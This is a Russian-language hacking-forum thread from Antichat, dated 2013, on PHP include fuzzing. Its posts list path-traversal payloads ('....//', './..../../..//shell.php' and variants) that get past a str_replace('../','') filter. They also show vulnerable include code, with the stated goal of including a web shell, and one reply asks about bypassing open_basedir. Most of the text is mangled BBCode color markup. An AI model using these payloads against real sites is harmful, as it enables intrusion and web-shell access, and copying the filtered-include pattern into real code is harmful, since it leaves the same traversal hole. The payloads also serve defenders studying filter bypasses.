Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   PHP Include Fuzzing: Новое (https://forum.antichat.xyz/showthread.php?t=390482)

XAMEHA 01.08.2013 08:25

Предположим, структура такова:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]scriptdir[/COLOR][COLOR="#007700"]/include.[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]./[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][/COLOR

Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./..../../..[/COLOR][COLOR="#FF8000"]//shell.php

[/COLOR][COLOR="#007700"]./..../..[/COLOR][COLOR="#FF8000"]//../shell.php

[/COLOR][COLOR="#007700"]./....[/COLOR][COLOR="#FF8000"]//../../shell.php

[/COLOR][COLOR="#007700"]./.../../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]./.../.././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]./..././../../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]./../..../..[/COLOR][COLOR="#FF8000"]//shell.php

[/COLOR][COLOR="#007700"]./../....[/COLOR][COLOR="#FF8000"]//../shell.php

[/COLOR][COLOR="#007700"]./../.../.././[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]./../..././../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

etc

[/COLOR][/COLOR

Это все эквивалентно этому:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]./../[/COLOR][COLOR="#0000BB"]shell[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][/COLOR

Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.

VY_CMa 01.08.2013 09:13

Помню в 1 из видео точно было.

Если бы что-нибудь подобное для обходе base_dir...

XAMEHA 08.08.2013 19:44

По заданным вопросам, что мне пришли(Я обязательно отвечаю). Для такой фильтрации:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR

Есть 2 стандартных обхода, а именно:

Код:

Code:
....//
..././

Все они прозрачны для кода после фильтрации. У меня другой вариант, о котором я решил написать здесь что-бы вы знали его существование:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]))

include([/COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]));

...

if([/
COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"])))

include([/COLOR][COLOR="#DD0000"]'./'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

...

[/
COLOR][COLOR="#0000BB"]etc

[/COLOR][/COLOR



Время: 19:24